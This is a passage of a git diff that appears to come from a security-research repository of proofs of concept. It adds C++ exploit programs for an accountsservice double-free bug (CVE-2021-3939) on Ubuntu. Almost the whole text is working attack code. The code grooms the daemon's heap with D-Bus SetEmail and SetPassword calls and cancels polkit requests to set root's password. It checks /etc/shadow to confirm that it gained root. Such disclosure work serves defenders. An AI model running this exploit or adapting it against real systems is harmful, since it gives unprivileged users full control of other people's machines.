send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, 0); + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("Starting exploit. PID: %u\n", pid); + + // Trigger the bug. + trigger_bug(); + + // This is declared outside of the loop because we want to remember the + // the last value that it's set to. + char email[64] = "kevwozere@kevwozere.com"; + + // Try to occupy the chunk. + for (size_t i = 0; i < batch_size1; i++) { + // Changing the email address triggers a call to `save_extra_data`, + // which causes a bunch of memory to be allocated and freed, but + // without increasing the total memory usage. (At least, I haven't + // noticed any memory leaks in that code.) So by jumbling the memory + // up, it will hopefully increase the chance that one of the calls + // to SetPassword will allocate the chunk that we want it to. + snprintf(email, sizeof(email), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i + ); + send_accountsservice_set_property( + accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), + "SetEmail", email + ); + + // The password and hint are sized so that they will require a chunk + // bigger than size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + send_accountsservice_SetPassword( + accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ + ); + } + + // We expect to receive one polkit "BeginAuthentication" for each + // "SetPassword" message that we sent. + std::vector> polkit_requests_batch1; + polkit_requests_batch1.reserve(batch_size1); + for (size_t i = 0; i < batch_size1; i++) { + polkit_requests_batch1.push_back(receive_dbus_message(polkit_fd_.get())); + } + + // Trigger the bug a second time. If things are going to plan + // then the chunk currently contains the memory that was allocated + // by `user_set_password`. We can control when `free_passwords` + // gets called on it by releasing `polkit_requests_batch1`. + trigger_bug(); + + for (size_t i = 0; i < batch_size2; i++) { + // Changing the email address triggers a call to `save_extra_data`, + // which causes a bunch of memory to be allocated and freed, but + // without increasing the total memory usage. (At least, I haven't + // noticed any memory leaks in that code.) So by jumbling the memory + // up, it will hopefully increase the chance that one of the calls + // to SetPassword will allocate the chunk that we want it to. + snprintf(email, sizeof(email), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i + ); + send_accountsservice_set_property( + accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), + "SetEmail", email + ); + + // The password and hint are sized so that they will require a chunk + // of size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + send_accountsservice_SetPassword( + accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ + ); + } + + // Reject all of the authentication requests from the first batch. + for (size_t i = 0; i < batch_size1; i++) { + polkit_cancel_auth(polkit_fd_.get(), serialNumber_++, *polkit_requests_batch1[i]); + + // We should get an error response back from accounts-daemon. + std::unique_ptr reply = receive_dbus_message(accounts_fd_.get()); + if (reply->getHeader_messageType() != MSGTYPE_ERROR) { + throw Error("Did not get the error response that we expected."); + } + // The error message should be org.freedesktop.Accounts.Error.PermissionDenied. + // If it isn't then account-daemon probably crashed. + const std::string& errmsg = + reply->getHeader_lookupField(MSGHDR_ERROR_NAME).getValue()->toString().getValue(); + if (errmsg != _s("org.freedesktop.Accounts.Error.PermissionDenied")) { + throw Error(_s(errmsg)); + } + } + + // We expect to receive one polkit "BeginAuthentication" for each + // "SetPassword" message that we sent in the second batch. + std::vector> polkit_requests_batch2; + polkit_requests_batch2.reserve(batch_size2); + for (size_t i = 0; i < batch_size2; i++) { + if (search_pid(accounts_daemon, sizeof(accounts_daemon)) != pid) { + throw Error("accounts-daemon crash"); + } + polkit_requests_batch2.push_back(receive_dbus_message(polkit_fd_.get())); + } + + // Send a bunch of requests that will be approved by polkit (because + // they only require org.freedesktop.accounts.change-own-user-data + // permission). We're hoping that the auth data that is allocated for + // one of these in `daemon_local_check_auth` (in an 0x40 chunk size) + // will get freed before it is approved and overwritten with the auth + // data for one of the subsequent SetPassword requests. + // We alternate between the different messages because the timing + // of when things will happen is very difficult to predict, so we + // just have to rely on luck. + for (size_t i = 0; i < batch_size2 + 64; i++) { + // Reject all of the authentication requests from the second batch. + // This will hopefully cause a double free of one of the 0x40 chunks. + if (i < batch_size2) { + polkit_cancel_auth(polkit_fd_.get(), serialNumber_++, *polkit_requests_batch2[i]); + } + + // Note: this sends the same email address as we sent earlier (on the + // final iteration of the batch1 loop). That's because we don't want + // `user_change_email_authorized_cb` to call `save_extra_data`, which + // would cause a bunch of memory churn that we don't want. + dbus_method_call( + accounts_fd_.get(), + serialNumber_++, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(email)) + ) + ), + _s(my_objectpath_), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetEmail") + ); + + // password: iaminvincible! + const char* password = + "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB"; + const char* hint = "GoldenEye"; + send_accountsservice_SetPassword( + accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ + ); + } + + // Give the messages a chance to get processed before we disconnect. + sleep(2); + printf("Finished iteration\n\n"); + } +}; + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 2) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const char* dbus_socket_path = argv[1]; + + try { + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::random_device rd; + std::mt19937 gen(rd()); + std::uniform_int_distribution<> distrib(1, 64); + + ProgramInfo info(dbus_socket_path); + + // When the poc is successful, the root user's password is set, + // which causes /etc/shadow to be modified. So we can use stat + // to detect when the exploit was successful. + struct stat statorig; + stat(etc_shadow_path, &statorig); + + while(true) { + try { + Run run(info); + const size_t batch_size1 = distrib(gen); + const size_t batch_size2 = distrib(gen); + printf("batch sizes: %ld %ld\n", batch_size1, batch_size2); + run.attempt_exploit(batch_size1, batch_size2); + } catch (Error& e) { + printf("%s\n", e.what()); + sleep(2); + } + struct stat statnew; + stat(etc_shadow_path, &statnew); + if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) { + printf("%s was modified!\n", etc_shadow_path); + break; + } + } + } catch (ErrorWithErrno& e) { + const int err = e.getErrno(); + fprintf(stderr, "%s\n%s\n", e.what(), strerror(err)); + return EXIT_FAILURE; + } catch (std::exception& e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp new file mode 100644 index 0000000..d03cc4c --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp @@ -0,0 +1,846 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon"; +static const char* etc_shadow_path = "/etc/shadow"; + +// Return true if the timespecs are equal. +bool timespec_eq(const timespec& t1, const timespec& t2) { + return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec; +} + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +static std::vector search_pids(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + std::vector result; + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + result.push_back(atoi(subdir_name)); + } + } + return result; +} + +static pid_t search_pid(const char *cmdline, size_t cmdline_len) { + std::vector pids = search_pids(cmdline, cmdline_len); + if (pids.size() == 1) { + return pids[0]; + } + return -1; +} + +static std::string getHomeDir(uid_t uid) { + FILE *fp = fopen("/etc/passwd", "r"); + char buf[4096] = {}; + struct passwd pw; + struct passwd *pwp; + while (true) { + if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) { + fclose(fp); + char errmsg[256]; + snprintf( + errmsg, sizeof(errmsg), + "Could not find UID %u in /etc/passwd.", + uid + ); + throw Error(errmsg); + } + if (uid == pw.pw_uid) { + fclose(fp); + return _s(pw.pw_dir); + } + } +} + +// An asynchronous version of a for loop: +// +// for (size_t i = start; i < end; i++) { body(i); } +// +static int async_loop( + size_t start, size_t end, + std::function)> body, + std::function cb +) { + if (start >= end) { + return cb(); + } + + return body( + start, + [start, end, body, cb]() -> int { + return async_loop(start+1, end, body, cb); + } + ); +} + +// Information that can be gathered once when we first start executing. +class ProgramInfo { +public: + // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket) + const char* dbus_socket_path_; + + // UID and PID of this process. + const uid_t uid_; + const pid_t pid_; + + // Start time of the process. (Needed to register as an authentication agent.) + const uint64_t start_time_; + + const std::string homedir_; + + explicit ProgramInfo(const char* dbus_socket_path) : + dbus_socket_path_(dbus_socket_path), + uid_(getuid()), + pid_(getpid()), + start_time_(process_start_time(pid_)), + homedir_(getHomeDir(uid_)) + { + printf("uid: %u\n", uid_); + printf("pid: %u\n", pid_); + printf("home dir: %s\n", homedir_.c_str()); + } +}; + +class PolkitHandler; +class AccountsHandler; + +// This class manages the two EPoll handlers that we have open (one for +// communicating with polkit and the other for communicating with +// accountsservice). It enables the two handlers to call each other's +// methods when necessary, and it also takes care of shutting the handlers +// down. (The EPollLoop will not stop until all the handlers are +// disconnected, so when one handler disconnects the other needs to also +// disconnect.) +class EPollManager { + EPollLoop& loop_; + + // These pointers are owned by the EPollLoop. We have keep copies of them + // here so that we can call methods on them, and also so that we can call + // `EPollLoop::del_handler()` on them when we're done. + PolkitHandler* polkit_handler_ = nullptr; + AccountsHandler* accounts_handler_ = nullptr; + + void del_polkit_handler(); + void del_accounts_handler(); + +public: + explicit EPollManager(EPollLoop& loop) : + loop_(loop) + {} + + PolkitHandler* polkit_handler() { return polkit_handler_; } + AccountsHandler* accounts_handler() { return accounts_handler_; } + + void set_polkit_handler(PolkitHandler* polkit_handler){ + assert(!polkit_handler_); + polkit_handler_ = polkit_handler; + } + + void set_accounts_handler(AccountsHandler* accounts_handler){ + assert(!accounts_handler_); + accounts_handler_ = accounts_handler; + } + + void polkit_delete() { + polkit_handler_ = nullptr; + stop(); + } + + void accounts_delete() { + accounts_handler_ = nullptr; + stop(); + } + + void stop() const; +}; + +class PolkitHandler : public DBusHandler { + // This struct is used to store an error reply message, which we + // will send later. + struct BatchedErrorReply { + const serialNumber_t replySerial_; + const std::string sender_; + + BatchedErrorReply( + const serialNumber_t replySerial, + const std::string sender + ) : + replySerial_(replySerial), + sender_(sender) + {} + }; + + const ProgramInfo& info_; + EPollManager& manager_; + + // We deliberately delay responding to some of the polkit requests, to + // control the order of operations in accountsservice. The replies are + // queued here. + std::queue error_reply_queue_; + +private: + int quit() { + return -1; + } + + int register_with_polkit() { + std::unique_ptr body = + DBusMessageBody::mk( + _vec>( + // Subject + DBusObjectStruct::mk( + _vec>( + DBusObjectString::mk(_s("unix-process")), // subject_kind + DBusObjectArray::mk1( + _vec>( + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("pid")), + DBusObjectVariant::mk( + DBusObjectUint32::mk(info_.pid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("uid")), + DBusObjectVariant::mk( + DBusObjectInt32::mk(info_.uid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("start-time")), + DBusObjectVariant::mk( + DBusObjectUint64::mk(info_.start_time_) + ) + ) + ) + ) + ) + ), + DBusObjectString::mk(_s("en")), // locale + DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path + ) + ); + + send_call( + std::move(body), + _s("/org/freedesktop/PolicyKit1/Authority"), + _s("org.freedesktop.PolicyKit1.Authority"), + _s("org.freedesktop.PolicyKit1"), + _s("RegisterAuthenticationAgent"), + [this](const DBusMessage& message, bool isError) -> int { + if (isError) { + // Signal to the rest of the program that an error occurred. + print_dbus_message(STDERR_FILENO, message); + fprintf(stderr, "Could not register with polkit.\n"); + fflush(stderr); + return quit(); + } else { + printf("Successfully registered with polkit\n"); + return 0; + } + } + ); + + return 0; + } + +public: + PolkitHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + manager_(manager) + {} + + ~PolkitHandler() override { + manager_.polkit_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_polkit_handler(this); + send_hello( + [this](const std::string& busname) -> int { + fprintf(stdout, "Unique bus name (polkit): %s\n", busname.c_str()); + fflush(stdout); + + return register_with_polkit(); + } + ); + } + + // Every time we attempt to set the root user's password by + // calling the SetPassword method, we should get an incoming + // polkit request here. + void receive_call(const DBusMessage& message) override final { + const std::string& sender = + message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue(); + error_reply_queue_.push( + BatchedErrorReply(message.getHeader_serialNumber(), sender) + ); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal in PolkitHandler."); + } + + void receive_error(const DBusMessage& err) override final { + logerror("Received an error in PolkitHandler."); + print_dbus_message(STDERR_FILENO, err); + throw Error("Unexpected error in PolkitHandler."); + } + + void disconnect() noexcept override final { + logerror("PolkitHandler D-Bus socket disconnected."); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "%s\n", errmsg); + } + + // Send at most `n` error replies to cancel the polkit requests. + // Due to the unpredicatable timing of when we receive the polkit + // requests it's possible that there are less than `n` elements in + // the queue. If so, we just stop early and don't worry about it. + // (We empty the queue at the beginning of every iteration of the + // exploit, to stop the queue from growing too big.) + void cancel_auth_requests(const size_t n) { + for (size_t i = 0; i < n; i++) { + if (error_reply_queue_.empty()) { + return; + } + + BatchedErrorReply& reply = error_reply_queue_.front(); + send_error_reply( + reply.replySerial_, + _s(reply.sender_), + _s("org.freedesktop.PolicyKit1.Error.Cancelled") + ); + error_reply_queue_.pop(); + } + } +}; + +class AccountsHandler : public DBusHandler { + const ProgramInfo& info_; + EPollManager& manager_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::random_device rd_; + std::mt19937 gen_; + std::uniform_int_distribution<> distrib_; + + size_t batch_size1_ = 1; + size_t batch_size2_ = 1; + + std::string my_objectpath_; + std::string root_objectpath_; + const std::string pam_env_path_; + + // Email address for sending to the SetEmail method. + // Changing the email address triggers a call to `save_extra_data`, which + // causes a bunch of memory to be allocated and freed, but without + // increasing the total memory usage. (At least, I haven't noticed any + // memory leaks in that code.) Sometimes we do this to deliberately + // jumble the memory up so that a subsequent memory allocation will + // occupy the chunk that we want it to. Other times, we deliberately + // call the SetEmail method with the same email address as last time, so + // that we trigger a polkit check that will get approved, but without + // jumbling the memory any further. + char email_[64] = "kevwozere@kevwozere.com"; + +private: + int quit() { + return -1; + } + + void choose_batch_sizes() { + batch_size1_ = distrib_(gen_); + batch_size2_ = distrib_(gen_); + printf("batch sizes: %ld %ld\n", batch_size1_, batch_size2_); + } + +public: + AccountsHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + manager_(manager), + gen_(rd_()), + distrib_(1,64), + pam_env_path_(info_.homedir_ + _s("/.pam_environment")) + {} + + virtual ~AccountsHandler() override { + manager_.accounts_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_accounts_handler(this); + send_hello( + [this](const std::string& busname) -> int { + fprintf(stdout, "Unique bus name (accounts): %s\n", busname.c_str()); + fflush(stdout); + + return findUserByID( + info_.uid_, + [this](const char* userpath, bool isError) -> int { + if (isError) { + return quit(); + } else { + my_objectpath_ = userpath; + return attempt_exploit(); + } + } + ); + } + ); + } + + // We don't expect to receive any calls. + void receive_call(const DBusMessage&) override final { + logerror("Unexpected incoming call in AccountsHandler."); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal in AccountsHandler."); + } + + void receive_error(const DBusMessage& err) override final { + logerror("Received an error in AccountsHandler."); + print_dbus_message(STDERR_FILENO, err); + } + + void disconnect() noexcept override final { + logerror("AccountsHandler D-Bus socket disconnected."); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "%s\n", errmsg); + } + + int findUserByID( + uid_t uid, + std::function cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectInt64::mk(uid) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("FindUserById"), + [this, cb](const DBusMessage& message, bool isError) -> int { + if (isError) { + logerror("FindUserById failed"); + return cb(nullptr, true); + } else { + const std::string& userpath = + message.getBody().getElement(0)->toPath().getValue(); + printf("FindUserById: %s\n", userpath.c_str()); + return cb(userpath.c_str(), false); + } + } + ); + + return 0; + } + + int accounts_set_property( + const char* userpath, + const char* command, + const char* value, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(value)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s(command), + cb + ); + + return 0; + } + + int accounts_set_password( + const char* userpath, + const char* password, + const char* hint, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(password)), + DBusObjectString::mk(_s(hint)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetPassword"), + cb + ); + + return 0; + } + + // This function triggers the bug by removing `~/.pam_environment` and + // calling the "SetLanguage" method. + int trigger_bug(reply_cb_t cb) { + unlink(pam_env_path_.c_str()); + return accounts_set_property( + my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb + ); + } + + // We use this function to make sure that we're starting from a clean slate. + // It makes the exploit a bit less unreliable. + int restart_accounts_daemon(std::function cb) { + return trigger_bug( + [this, cb](const DBusMessage&, bool isError) -> int { + if (isError) { + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + if (pid < 0) { + printf("accounts-daemon is not running\n"); + return cb(); + } else { + printf("accounts-daemon PID: %d\n", pid); + } + } + // The reply isn't an error, which means that accounts-daemon + // didn't crash yet. Try again. + return restart_accounts_daemon(cb); + } + ); + } + + int send_batch( + const char* password, const char* hint, const size_t batch_size, + std::function cb + ) { + return async_loop( + 0, batch_size, + [this, password, hint](size_t i, std::function next) -> int { + // Change the email address to jumble the memory. + snprintf( + email_, sizeof(email_), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", + i + ); + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this, password, hint, next](const DBusMessage&, bool) -> int { + // Send the SetPassword message, but don't wait for the reply. + accounts_set_password( + root_objectpath_.c_str(), password, hint, + [this, password](const DBusMessage&, bool isError) -> int { + if (isError) { + return 0; + } else { + printf("SetPassword succeeded! password = %s\n", password); + return quit(); + } + } + ); + + return next(); + } + ); + }, + cb + ); + } + + int attempt_exploit() { + choose_batch_sizes(); + + return restart_accounts_daemon( + [this]() -> int { + return findUserByID( + 0, + [this](const char* rootpath, bool isError) -> int { + if (isError) { + // Something went wrong. Try again. + return attempt_exploit(); + } else { + root_objectpath_ = rootpath; + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("Starting exploit. PID: %u\n", pid); + + return trigger_bug( + [this](const DBusMessage&, bool isError) -> int { + printf("trigger_bug: isError = %d\n", (int)isError); + + // The password and hint are sized so that they will require a chunk + // bigger than size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + return send_batch( + password, hint, batch_size1_, + [this]() -> int { + // Trigger the bug a second time. If things are going to + // plan then the chunk currently contains the memory that + // was allocated by `user_set_password`. We can control + // when `free_passwords` gets called on it by releasing + // `polkit_requests_batch1`. + return trigger_bug( + [this](const DBusMessage&, bool isError) -> int { + printf("trigger_bug: isError = %d\n", (int)isError); + + // The password and hint are sized so that they will require a chunk + // of size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + return send_batch( + password, hint, batch_size2_, + [this]() -> int { + // Cancel the first batch of polkit requests. + PolkitHandler* polkit_handler = manager_.polkit_handler(); + if (!polkit_handler) { + return quit(); + } + + polkit_handler->cancel_auth_requests(batch_size1_); + + // Send a bunch of requests that will be approved by polkit (because + // they only require org.freedesktop.accounts.change-own-user-data + // permission). We're hoping that the auth data that is allocated for + // one of these in `daemon_local_check_auth` (in an 0x40 chunk size) + // will get freed before it is approved and overwritten with the auth + // data for one of the subsequent SetPassword requests. + // We alternate between the different messages because the timing + // of when things will happen is very difficult to predict, so we + // just have to rely on luck. + for (size_t i = 0; i < batch_size2_ + 64; i++) { + // Reject all of the authentication requests from the second batch. + // This will hopefully cause a double free of one of the 0x40 chunks. + // We reject them one at a time, because we want the messages to + // be interspersed with the others. + polkit_handler->cancel_auth_requests(1); + + // Note: this sends the same email address as we sent earlier. That's + // because we don't want `user_change_email_authorized_cb` to call + // `save_extra_data`, which would cause a bunch of memory churn that + // we don't want. + accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool) -> int { + return 0; + } + ); + + // password: iaminvincible! + const char* password = + "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB"; + const char* hint = "GoldenEye"; + accounts_set_password( + root_objectpath_.c_str(), password, hint, + [this](const DBusMessage&, bool isError) -> int { + if (isError) { + return 0; + } else { + printf("SetPassword succeeded!\n"); + return quit(); + } + } + ); + } + + // One final email change, for synchronization purposes. + snprintf(email_, sizeof(email_), "kevwozere@kevwozere.com"); + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + printf("SetEmail isError = %d\n", isError); + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("End iteration. PID: %d\n", pid); + return quit(); + } + ); + } + ); + } + ); + } + ); + } + ); + } + } + ); + } + ); + } +}; + +void EPollManager::stop() const { + if (polkit_handler_) { + polkit_handler_->stop(); + } + if (accounts_handler_) { + accounts_handler_->stop(); + } +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 2) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const char* dbus_socket_path = argv[1]; + + // When the poc is successful, the root user's password is set, + // which causes /etc/shadow to be modified. So we can use stat + // to detect when the exploit was successful. + struct stat statorig = {}; + stat(etc_shadow_path, &statorig); + + try { + while (true) { + EPollLoop loop; + + ProgramInfo info(dbus_socket_path); + EPollManager manager(loop); + + DBusAuthHandler* polkit_auth_handler = + new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager)); + if (loop.add_handler(polkit_auth_handler) < 0) { + throw Error(_s("Failed to add PolkitHandler")); + } + + DBusAuthHandler* accounts_auth_handler = + new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager)); + if (loop.add_handler(accounts_auth_handler) < 0) { + throw Error(_s("Failed to add AccountsHandler")); + } + + loop.run(); + + // If accountsservice crashes too often within a short period + // of time then it gets prevented from restarting, so it's better + // sleep for a few seconds between each exploit attempt. + sleep(4); + + // If the timestamp of /etc/shadow has changed then the exploit + // was (probably) successful. + struct stat statnew; + stat(etc_shadow_path, &statnew); + if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) { + printf("%s was modified!\n", etc_shadow_path); + break; + } + } + } catch (ErrorWithErrno& e) { + const int err = e.getErrno(); + fprintf(stderr, "%s\n%s\n", e.what(), strerror(err)); + return EXIT_FAILURE; + } catch (std::exception& e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp new file mode 100644 index 0000000..7ebe26e --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp @@ -0,0 +1,906 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon"; +static const char* etc_shadow_path = "/etc/shadow"; + +// Return true if the timespecs are equal. +static bool timespec_eq(const timespec& t1, const timespec& t2) { + return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec; +} + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +static std::vector search_pids(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + std::vector result; + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + result.push_back(atoi(subdir_name)); + } + } + return result; +} + +static pid_t search_pid(const char *cmdline, size_t cmdline_len) { + std::vector pids = search_pids(cmdline, cmdline_len); + if (pids.size() == 1) { + return pids[0]; + } + return -1; +} + +static std::string getHomeDir(uid_t uid) { + FILE *fp = fopen("/etc/passwd", "r"); + char buf[4096] = {}; + struct passwd pw; + struct passwd *pwp; + while (true) { + if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) { + fclose(fp); + char errmsg[256]; + snprintf( + errmsg, sizeof(errmsg), + "Could not find UID %u in /etc/passwd.", + uid + ); + throw Error(errmsg); + } + if (uid == pw.pw_uid) { + fclose(fp); + return _s(pw.pw_dir); + } + } +} + +// Information that can be gathered once when we first start executing. +class ProgramInfo { +public: + // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket) + const char* dbus_socket_path_; + + // UID and PID of this process. + const uid_t uid_; + const pid_t pid_; + + // Start time of the process. (Needed to register as an authentication agent.) + const uint64_t start_time_; + + const std::string homedir_; + + // When the poc is successful, the root user's password is set, + // which causes /etc/shadow to be modified. So we can use stat + // to detect when the exploit was successful. + struct stat statorig_ = {}; + + explicit ProgramInfo(const char* dbus_socket_path) : + dbus_socket_path_(dbus_socket_path), + uid_(getuid()), + pid_(getpid()), + start_time_(process_start_time(pid_)), + homedir_(getHomeDir(uid_)) + { + stat(etc_shadow_path, &statorig_); + printf("uid: %u\n", uid_); + printf("pid: %u\n", pid_); + printf("home dir: %s\n", homedir_.c_str()); + fflush(stdout); + } + + // If the timestamp of /etc/shadow has changed then the exploit + // was (probably) successful. + bool exploit_succeeded() const { + struct stat statnew; + stat(etc_shadow_path, &statnew); + return !timespec_eq(statnew.st_mtim, statorig_.st_mtim); + } +}; + +class PolkitHandler; +class AccountsHandler; +class TriggerBugHandler; + +// This class manages the two EPoll handlers that we have open (one for +// communicating with polkit and the other for communicating with +// accountsservice). It 